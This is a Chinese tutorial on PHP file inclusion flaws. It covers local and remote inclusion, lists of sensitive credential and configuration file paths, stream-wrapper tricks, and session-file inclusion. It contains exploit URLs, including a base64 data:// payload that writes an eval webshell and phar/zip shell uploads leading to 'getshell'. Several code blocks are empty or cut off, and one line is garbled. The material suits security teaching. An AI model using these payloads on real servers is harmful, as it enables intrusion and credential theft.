最详细php文件包含全内容(上),版权保护,严禁转载

文件包含

本文登记区块链版权保护,严禁任何人以任何形式在未经本人书面允许的前提下私自转载和转发,严禁利用本文所给出技巧进行任何非法行为,本人概不承担任何法律责任,违者将依法追究其责任*。**

漏洞原理

由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

  • 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含,类似于C语言调用头文件的原理

  • 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用

  • 但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

  • 所有存在引用文件的函数的语言都可能存在文件包含漏洞

危险函数

php

  • include()

  • include_once()

  • fopen()

  • require()

  • require_once()

php主流类型

  • include() :执行到include()才包含文件,找不到包含文件只会产生警告,还会接着运行后面的脚本

  • require(): 只要程序一运行就会包含文件,找不到包含文件则会产生致命错误,并且脚本运行终止

  • include_once()和require_once():如文件包含被运行了,则不会运行第二次

jsp/Servlet

  • ava.io
  • file()
  • java.io
  • filereader()

asp

  • include file
  • include virtual

PHP文件包含

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

LFI(Local File Inclusion)漏洞

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

这个漏洞不受allow_url_fopen = Onallow_url_include = On这两个的影响。

RFI(Remote File Inclusion)漏洞

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

以下测试环境为

  1. allow_url_fopen = On

  2. allow_url_include = Off

  3. fileinclude.php

    
    

搜寻敏感文件的绝对路径

WINDOWS下:

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

C:\Windows\win.ini  //用于保存系统配置文件

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

表单编码方式enctype

编码方式 适用类型 举例
application/x-www-form-urlencoded 默认值,允许将普通字符和特殊字符提交给服务器,文件不行 a-Z,!@#$^&*(,1-0,❤❥웃유♋☮
multipart/form-data 允许提交 文件,会影响普通上传数据 JPG,GIF,EXE,RAR
text/plain 只允许进行普通字符的提交,特殊字符无法提交 a-Z,1234567890,?,=,&

php特殊字符

数组运算符

运算符 名称 描述
x + y 集合 x 和 y 的集合
x == y 相等 如果 x 和 y 具有相同的键/值对,则返回 true
x === y 恒等 如果 x 和 y 具有相同的键/值对,且顺序相同类型相同,则返回 true
x != y 不相等 如果 x 不等于 y,则返回 true
x <> y 不相等 如果 x 不等于 y,则返回 true
x !== y 不恒等 如果 x 不等于 y,则返回 true

特殊意义符

. 字符串连接符 字符串连接符号,可以用于连接任意字符串
@ 报错阻断符 阻断@后的php语句的报错题型
’ '和" " 但双引号 单引号内所有字符均为普通字符,变量名字和通配符失去其内在含义,双引号内语句可以经过解释和转化,通配符和变量名正常使用
?? NULL合并运算符(PHP7+) ??前的php语句返回值不存在则返回??后面的值,如果存在则返回正常应该返回的值,用于替代返回NULL的情况
<=> 组合比较符(PHP7+) PHP7+ 支持组合比较符(combined comparison operator)也称之为太空船操作符,符号为 <=>。组合比较运算符可以轻松实现两个变量的比较,当然不仅限于数值类数据的比较,可以根据判断结果快速为一个变量进行赋值

php伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似

fopen()

copy()

file_exists()

filesize() 的文件系统函数。

除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

php:的含义

指示支持该函数的最早的 PHP 版本。

相关函数

fopen()
  • fopen() 函数打开一个文件或 URL。

  • 如果 fopen() 失败,它将返回 FALSE 并附带错误信息

  • 您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。

  • 成功打开会返回文件流

语法

fopen(filename,mode,include_path,context)
参数 描述
filename 必需。规定要打开的文件或 URL。
mode 必需。规定您请求到该文件/流的访问类型。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

mode属性选项:

  • “r” (只读方式打开,将文件指针指向文件头)
  • “r+” (读写方式打开,将文件指针指向文件头)
  • “w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
  • “w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
  • “a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
  • “a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
  • “x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
  • “x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

当书写一个文本文件时,请确保您使用了正确的行结束符!

在 Unix 系统中,行结束符为 \n;

在 Windows 系统中,行结束符为 \r\n;

在 Macintosh 系统中,行结束符为 \r。

Windows 系统中提供了一个文本转换标记 “t” ,可以透明地将 \n 转换为 \r\n。

您还可以使用 “b” 来强制使用二进制模式,这样就不会转换数据。为了使用这些标记,请使用 “b” 或者 “t” 来作为 mode 参数的最后一个字符。

实例


copy()
  • copy() 函数复制文件。

  • 该函数如果成功则返回 TRUE,如果失败则返回 FALSE。

语法

copy(file,to_file)
参数 描述
file 必需。规定要复制的文件。
to_file 必需。规定复制文件的目的地。

**注释:**如果目标文件已存在,将会被覆盖。

file_exists()

file_exists() 函数检查文件或目录是否存在。

如果指定的文件或目录存在则返回 TRUE,否则返回 FALSE。

语法

file_exists(path)
filesize()

filesize() 函数返回指定文件的大小。

如果成功,该函数返回文件大小的字节数。如果失败,则返回 FALSE。

语法

filesize(filename)

**注释:**该函数的结果会被缓存。请使用 clearstatcache() 来清除缓存。

stream_wrapper_register()
  • Register a URL wrapper implemented as a PHP class(注册一个url包装器以php类的形式)
  • 成功则返回true,失败返回false

语法

bool stream_wrapper_register ( string protocol, string classname)

allows you to implement your own protocol handlers and streams for use with all the other filesystem functions (such as fopen(), fread() etc.).To implement a wrapper, you need to define a class with a number of member functions, as defined below. When someone fopens your stream, PHP will create an instance of classname and then call methods on that instance. You must implement the methods exactly as described below - doing otherwise will lead to undefined behaviour.

允许您实现自己的协议处理程序和流,以便与所有其他文件系统函数(例如fopen()fread()等)一起使用。

要实现包装器,您需要定义一个具有多个成员函数的类,定义如下。当有人打开您的流时,PHP 将创建一个类名实例,然后调用该实例上的方法。您必须完全按照下面描述的方式实现这些方法 - 否则会导致未定义的行为。

As of PHP 5.0.0 the instance of *classname* will be populated with a *context* property referencing a Context Resource which may be accessed with stream_context_get_options(). If no context was passed to the stream creation function, *context* will be set to **NULL**.

fputs()
  • fputs() 函数写入文件(可安全用于二进制文件)。

  • fputs() 函数是 fwrite() 函数的别名。

语法:

fputs(file,string,length)
参数 描述
file 必需。规定要写入的打开文件。
string 必需。规定要写入文件的字符串。
length 可选。规定要写入的最大字节数。

说明

fwrite() 把 string 的内容写入文件指针 file 处。 如果指定了 length,当写入了 length 个字节或者写完了 string 以后,写入就会停止,视乎先碰到哪种情况。

fwrite() 返回写入的字符数,出现错误时则返回 false。

实例:


基本协议

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

zlib:// — 压缩流

data:// — 数据(RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流
file://

file://伪协议用于访问服务器本地文件系统

利用条件:

  1. 对allow_url_include不做要求。
  2. 对allow_url_fopen不做要求。

语法

test.php?file=file://C:/Windows/win.ini
http(s)/
  • http(s)/协议用于从包含http(s)协议的网站获取当前网页的页面文件
  • 常用于远程文件包含

利用条件:

  1. 对allow_url_include = on
  2. 对allow_url_fopen = on

语法

test.php?file=https://baidu.com
ftp(s)/
  • 用于从网站中操作文件的上传和下载

语法:

ftp://用户名:密码@IP地址或者域名:端口号

语法:

php://input
  • 可以访问请求的原始数据的只读流
  • 即可以直接读取到POST上没有经过解析的原始数据。
  • enctype="multipart/form-data" 的时候 php://input 是无效的。
  • $HTTP_RAW_POST_DATA同样不读取Content-Type为multipart/form-data的数据
  • 可以作为$HTTP_RAW_POST_DATA的替代
  • 当使用此协议时$HTTP_RAW_POST_DATA默认没有填充
  • 填入的长度,由Coentent-Length指定
  • 只有Content-Type为application/x-www-data-urlencoded时php://input数据才跟**$_POST**数据相一致
  • php://input数据总是跟 H T T P R A W P O S T D A T A 相 同 , 但 是 p h p : / / i n p u t 比 HTTP_RAW_POST_DATA相同,但是php://input比 HTTPRAWPOSTDATAphp://inputHTTP_RAW_POST_DATA更凑效,且不需要特殊设置php.ini

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。
  3. 配合POST数据包使用
fileinclude.php?file=php://input

POST:

原理:

为file变量进行赋值,使得include函数直接读取来自用户发送过去的POST数据包,进而实现操控php函数

案例:

  • 碰到file_get_contents()就要想到用php://input绕过

  • file_get_contents():这个函数就是把一个文件里面的东西 (字符)全部return出来作为字符串。

  • 除此之外,如果直接把字符串当作参数会报错,但如果包含的是http协议的网址,则会像curl命令一样,把源码读出来。而php伪协议也是识别http协议的,所以说上面php://input可以将POST的数据读过来来赋值给参数

网页会显示所有post过来的值

php://input(命令执行)

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

语法:

fileinclude.php?file=php://input

POST:

php://input(写入木马

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

语法:

fileinclude.php?file=php://input

POST:
');?>
php://filter
  • 元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

  • Filter 函数是 PHP 核心的组成部分。无需安装即可使用这些函数。

利用条件:

  1. 对allow_url_include不做要求。
  2. 对allow_url_fopen不做要求。

相关参数:

参数 功能
read 读取
write 写入
resource 数据来源

相关参数值:

read:

  • string.strip_tags:清楚数据流中的html标签

  • string.toupper:奖数据流中的内容转换为大写

  • string.tolower: 将数据流中的内容转换为小写

  • convert.base64-encode:将数据流的内容转换为base64编码

  • convert.urlencode:将数据流转换为url编码

语法

fileinclude.php?file=php://filter/read=convert.base64-encode/resource=index.php

另外一种:
fileinclude.php?file=php://filter/convert.base64-encode/resource=index.php
//效果跟前面的一样,少了read等关键字。在绕过一些waf时也许有用。

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

phar://
  • 这个就是php解压缩包的一个伪协议,不管后缀是什么,都会当做压缩包来解压。

利用条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。

语法

写一个文件phpinfo.php,其内容为,打包成zip压缩文件格式的压缩包,如下:

指定绝对路径:

fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php

或者使用相对路径(这里test.zip就在当前目录下,和fileinclude.php同一目录):

fileinclude.php?file=phar://test.zip/phpinfo.php

注意:其中test.zip必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip的后缀可以不是zip,可以是像test.jpg,甚至test.111这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111这样的后缀肯定不会被拦截了,这时就能成功:

phar://(命令执行)

利用条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。

语法:

phar://,只不过把文件内容改成

phar://(写入木马)

利用条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。

语法

写一个木马shell.php,其内容为,打包成zip压缩文件格式的压缩包

指定绝对路径

http://192.168.1.4/fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/shell.php

或者使用相对路径(这里test.zip就在当前目录下)

http://192.168.1.4/fileinclude.php?file=phar://test.zip/shell.php

先访问url地址,然后马就写进去了。

然后用shell管理工具,将上面两个的url地址随便选一个,填写到shell管理工具的url地址里,比如蚁剑等便能成功连接。

zip://
  • zip伪协议和phar伪协议类似,但是用法不一样。

利用条件:

  1. php版本大于等于php5.3.0
  2. 对allow_url_include不做要求。
  3. 对allow_url_fopen不做要求。

语法:
构造zip包的方法同phar:

写一个文件phpinfo.php,其内容为,打包成zip压缩文件格式的压缩包

但是使用zip伪协议,需要指定绝对路径,而且压缩包文件和压缩包内的文件之间得用#,还要将#给URL编码为%23,之后填上压缩包内的文件。

fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23phpinfo.php

若是使用相对路径,则会文件包含失败。

注意:这里需要注意的和phar://中的注意一样,其中test.zip必须得是以zip压缩文件格式压缩,其它像rar、7z这样的压缩文件格式就不行了。不过test.zip的后缀可以不是zip,可以是像test.jpg,甚至test.111这样的后缀都行。这里就涉及到了绕过了,如果zip后缀不让上传,那么就修改为test.111这样的后缀肯定不会被拦截了,这时就能成功:

data://

数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

利用条件:

  1. php版本大于等于php5.2
  2. allow_url_fopen = On
  3. allow_url_include = On

语法:

fileinclude.php?file=data:text/plain,
fileinclude.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
PD9waHAgcGhwaW5mbygpOz8+`的base64解码为:``。其中加号`+`的url编码为`%2b`。如果不手动url编码会报错:
`Parse error: syntax error, unexpected '?' in data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 on line 1

写入木马

fileinclude.php?file=data:text/plain,');?>
fileinclude.php?file=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4nKTs/Pg==
zlib://

zlib://封装协议,包含3个协议,正好对应的是 ‘压缩与归档扩展’ 里的3个扩展:

  • zlib://(目前使用:compress.zlib://) - 对应 ‘zlib’ 扩展
  • bzip2://(目前使用:compress.bzip2://) - 对应 ‘bzip2’ 扩展
  • zip:// - 对应 ‘zip’ 扩展

使用简介:

  • 3个封装协议,都是直接打开压缩文件。
  • compress.zlib://file.gz - 处理的是 ‘.gz’ 后缀的压缩包
  • compress.bzip2://file.bz2 - 处理的是 ‘.bz2’ 后缀的压缩包
  • zip://archive.zip/file.txt - 处理的是 ‘.zip’ 后缀的压缩包里的文件
  • 可以参照 “压缩与归档扩展” 对应的3个扩展的使用方法
glob://

查找匹配的文件路径模式

使用条件:

  1. allow_url_fopen = 无要求
  2. allow_url_include = 无要求

语法:

查找code文件夹内所有文件

fileinclude.php?file=glob://E:/phpstudy/WWW/code/*.*

查找所有带php后缀的文件

fileinclude.php?file=glob://ext/spl/examples/*.php
ssh2://

Note:该封装器默认没有激活
为了使用ssh2.*/封装协议,你必须安装来自» PECL的» SSH2扩展。

除了支持传统的 URI 登录信息,ssh2 封装协议也支持通过 URL 的主机(host)部分来复用打开连接。

使用条件:

  1. allow_url_fopen = On
  2. allow_url_include = On

语法:

ssh2.shell://user:[email protected]:22/xterm
ssh2.exec://user:[email protected]:22/usr/local/bin/somecmd
ssh2.tunnel://user:[email protected]:22/192.168.0.1:14
ssh2.sftp://user:[email protected]:22/path/to/filename
ogg://

通过包装器 ogg:// 读取的文件, 是作为 OGG/Vorbis 格式的压缩音频编码。 同样,通过包装器 ogg:// 写入或追加的数据格式也是压缩音频

封装器默认未激活
要使用 ogg:// 封装器,您必须安装 » OGG/Vorbis 扩展。 可以在 » PECL 上找到。

使用条件:

  1. allow_url_fopen = Off
  2. allow_url_include = On

语法:

ogg://soundfile.ogg  相对地址
ogg:///path/to/soundfile.ogg  绝对地址
ogg://http://www.example.com/path/to/soundstream.ogg  从外部网页获取
expect://

该封装协议默认未开启

为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。

用法:

expect://command 直接输入命令
该协议是基于shell和ssh的直接操作服务器的协议,能够直接在远端操作命令执行

包含session

相关函数

session_name()
  • session_name() 函数返回当前会话名称。 如果指定 name 参数, session_name() 函数会更新会话名称, 并返回 原来的会话名称。
  • 如果使用 name 指定了新字符串作为会话 cookie 的名字, session_name() 函数会修改 HTTP 响应中的 cookie (如果启用了 session.transid,还会输出会话 cookie 的内容)。
  • 一旦在 HTTP 响应中发送了 cookie 的内容之后, 调用 session_name() 函数会产生错误。 所以,一定要在调用 session_start() 函数之前 调用此函数。
  • 请求开始的时候,会话名称会被重置并且存储到 session.name 配置项。 因此,要想设置会话名称,那么对于每个请求,都需要在 调用 session_start() 函数 之前调用 session_name() 函数。

语法:

session_name(string $name = ?): string

参数:

name

用在 cookie 或者 URL 中的会话名称, 例如:PHPSESSID。 只能使用字母和数字作为会话名称,建议尽可能的短一些, 并且是望文知意的名字(对于启用了 cookie 警告的用户来说,方便其判断是否要允许此 cookie)。 如果指定了 name 参数, 那么当前会话也会使用指定值作为名称。

警告

会话名称至少需要一个字母,不能全部都使用数字, 否则,每次都会生成一个新的会话 ID。

session_start()
  • session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
  • 当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。
  • 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
  • 要想使用命名会话,请在调用 session_start() 函数 之前调用 session_name() 函数。

语法:

session_start(array $options = array()): bool

参数:

options

此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。

除了常规的会话配置指示项, 还可以在此数组中包含 read_and_close 选项。如果将此选项的值设置为 true, 那么会话文件会在读取完毕之后马上关闭, 因此,可以在会话数据没有变动的时候,避免不必要的文件锁。

实例:

page 2';

// 如果不是使用 cookie 方式传送会话 ID,则使用 URL 改写的方式传送会话 ID
echo '
page 2'; ?>
  • 请求 page1.php 页面之后, 第二个页面 page2.php 会包含会话数据。

cookie,session和token

cookie机制

web应用程序是使用HTTP协议来传送数据的。而HTTP是无状态的协议。所以一旦HTTP报文交换完成,客户端和服务器端就会谁也不认识谁了,这意味着服务器无法从连接上跟踪会话。即当用户A购买了一件商品并放入购物车中,当再次购买该商品时,服务器已经无法判断是哪个用户的会话了,所以才必须引入一种机制用于跟踪会话。

cookie就是这样的一种机制。因为HTTP是无状态的,服务器是无法单单仅凭网络连接是无法知道客户身份的。所以这个时候服务器就会给客户端发一个通行证,每个客户端一个,无论谁访问都必须携带自己的通行证,这样服务器就能从通行证上确认客户的身份。

而这样的通行证,也就是cookie,实际上是一小段文本信息。当客户端请求服务器后,如果服务器需要记录该用户状态,就会使用response回复报文向客户端颁发一个通行证cookie。而客户端收到cookie后会将cookie保存起来,当浏览器再次请求该网页时,浏览器会连同cookie一同交给服务器。服务器检查该cookie,以此辨认用户状态。

查看某个网页颁发的cookie很简单,在浏览器地址处输入**javascript:alert(document.cookie)**就可以了

如果浏览器不支持浏览器cookie就会被ban掉,比如大部分手机浏览器就不支持。

不同的浏览器会采用不同的方式保存cookie,比如ie浏览器会在“C:\Documents and Settings\你的用户名\Cookies”文件夹下以文本文件形式保存,一个cookie保存一个文件。

  • cookie是不可跨域名的。
  • cookie的有效期:cookie的maxage决定着cookie的有效期,单位为秒。cookie通过getMaxAge()和setMaxAge(int maxAge)方法来读写maxAge属性。MaxAge属性为正数时,表示该cookie会在MaxAge秒后自动失效。浏览器会将MaxAge为正数的cookie持久化,写到对应的cookie文件中。无论客户关闭了浏览器还是电脑,只要还在maxAge秒内,登录该网站时该cookie仍然有效。但是MaxAge为负数时,则表示该cookie仅在本浏览器窗口以及本窗口打开的子窗口内有效,关闭窗口后该cookie失效。这样的cookie也会被视作临时cookie,不会被浏览器持久化存储,不会写到cookie文件中。cookie信息保存在浏览器内存中,因此关闭了浏览器后该cookie就消失了。而如果MaxAge为0,则表示删除该cookie。
Session机制

Session是另一种记录客户状态的机制,不同的是cookie保存在客户端浏览器中,而Session保存在服务器上

客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是session。

当客户端浏览器再次访问时只需要从该session中查找客户的状态就可以了。

**如果说cookie机制是通过检查客户身上的通行证来确定客户身份的话,那session机制就是通过检查服务器上的客户明细表来确认客户身份的。**session相当于程序在服务器上建立的一份客户档案,客户来访时只需要查询客户档案就可以了。

  • session的生命周期:session保存在服务器端,而为了尽可能提升存取速度,服务器一般把cookie放在内存里。每一个用户都会有独立的session,而如果session内容过于复杂,当大量客户访问服务器时可能导致内存溢出所以其内容要尽可能精简。session在第一次访问服务器的时候创建。session生成后,只要用户继续访问,服务器就会更新session最后的访问时间,并维护该session。

  • session的有效期:为防止内存溢出,服务器会把长时间都没有活跃的session删除。这个时间就是session的超时时间,如果超过时间没有访问服务器,session就自动失效了。

  • session对cookie的使用:session虽然保存在服务器上,但是其正常运行还是需要客户端浏览器的支持。因为session需要使用cookie作为识别标志。

    Session在运作时会向客户端浏览器发送一个名为JSESSIONID的Cookie,它的值为该session的id。session就依据该cookie来识别是否为同一用户。
    

    该cookie为服务器自动生成的,它的maxAge属性一般为-1,表示仅当前浏览器有效,并且个浏览器窗口之间不共享。

  • URL地址重写:有些浏览器是不支持cookie的。这个时候就需要用到URL地址重写,其原理是将该用户session的id重写到url地址中。服务器能够解析重写后的URL获取session的id。在文件名的后面,在URL参数的前面添加了字符串“;jsessionid=XXX”。增添的jsessionid字符串既不会影响请求的文件名,也不会影响提交的地址栏参数。
session和cookie的区别
  • cookie数据存放在客户端的浏览器上,session数据 放在服务器上。
  • cookie比session更不安全,别人可以分析存放在本地的cookie并进行cookie欺骗。(可考虑对cookie加密)
  • session会在一定时间内保存在服务器上。当访问增多时,会比较占用服务器的内容,考虑到减轻服务器负担,可以考虑使用cookie
  • 单个cookie保存的数据不能超过4K,浏览器都限制一个站点最多保存20个cookie。session没有这种限制。
token机制

token也称为令牌,是服务器生成的一串字符串,作为客户端进行请求的一个标识。

当用户第一次登录后,服务器会生成一个token并将此token返回给客户端,以后客户端只需带上这个token请求数据即可,无需再次带上用户名和密码。(听起来跟cookie有点像,但是跟cookie是由很大区别的,且听我娓娓道来)

简单token的组成:uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,token的前几位以哈希算法压缩成一定长度的十六进制字符串,以防止token泄露)

cookie和token的区别
  • token存在哪儿都行,客户端可存放在localstorage或者cookie,而服务器端则会存放于数据库(服务器端的session是直接放在内存中的)

  • cookie举例:服务员看你的身份证后,给你一个编号,以后,进行任何操作,都出示编号,然后服务员再去查看你是谁

    token举例:直接给服务员看自己的身份证

  • 对于token而言,服务器不需要去查看你是谁,是无状态的,而cookie则是相对有状态的。

  • token的可拓展性更强。

  • token可抵御csrf,因为cookie容易伪造,但是token是不容易伪造的。

利用条件

  • session文件路径已知,且其中内容部分可控

  • php的session文件的保存路径可以在phpinfo的session.save_path看到。

  • phpinfo()中第二列是Local Value(局部变量),第三列是Master Value(主变量)。其中Master Value是PHP.ini文件中的内容。Local value是当前目录中的设置,这个值会覆盖Master Value中对应的值。所以看的是第二列当前目录中的设置D:\phpStudy\PHPTutorial\tmp\tmp

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
  • session的文件名格式为sess_[phpsessid]

  • 而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分session文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

实例

实例1
session_start();
if($_SESSION['username']) {
    header('Location: index.php');
    exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];

# 第20行
    $stmt->bind_result($res_password);
# 第24行
    if ($res_password == $password) {
        $_SESSION['username'] = base64_encode($username);
        header("location:index.php");
  1. PHP 会将会话中的数据设置到 $_SESSION 变量中。
  2. 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
  3. 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。

要包含session文件,需要知道文件的路径。先注册一个用户,比如Johnson。等登陆成功后,记录下cookie中的PHPSESSID的值,这里为0d0385dc6a1067f4e3406191(经过测试不注册也行,输入一个不存在的用户名,登录失败也会生成session文件,名称都为sess_cookie值

访问:

http://x.x.x.x/index.php?file=file:///var/lib/php5/sess_0d0385dc6a1067f4e3406191

其中/var/lib/php5/的session文件路径是测试出来的,常见的php-session存放位置在上面也有列出来了。

这里能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

$_SESSION['username'] = base64_encode($username);
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查Base64编码表得: Y W J j

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足以下条件:

16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

那么这里注册一个账号

JohnsonJohnsonJohnsonJohnsonJohnsonJohnsonJohnsonJohnsonJohnson

,其base64加密后的长度为128,大于100。(经过测试不注册也行,输入一个不存在的用户名,登录失败也会生成session文件,名称都为sess_cookie值

访问:

http://x.x.x.x/index.php?file=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_0d0385dc6a1067f4e3406191&abcdefg=phpinfo();

成功getshell

实例2
现在有一个session.php可控用户会话信息值:

    session_start();
    $username = $_POST['username'];
    $_SESSION['username'] = $username;
  • 可以看到这个session.php文件中的用户会话信息username的值是用户可控制的,那我们就可以传入恶意代码进行攻击利用。

  • 如果这里有注册功能,那么我们先注册一个用户。然后用其登录:username=

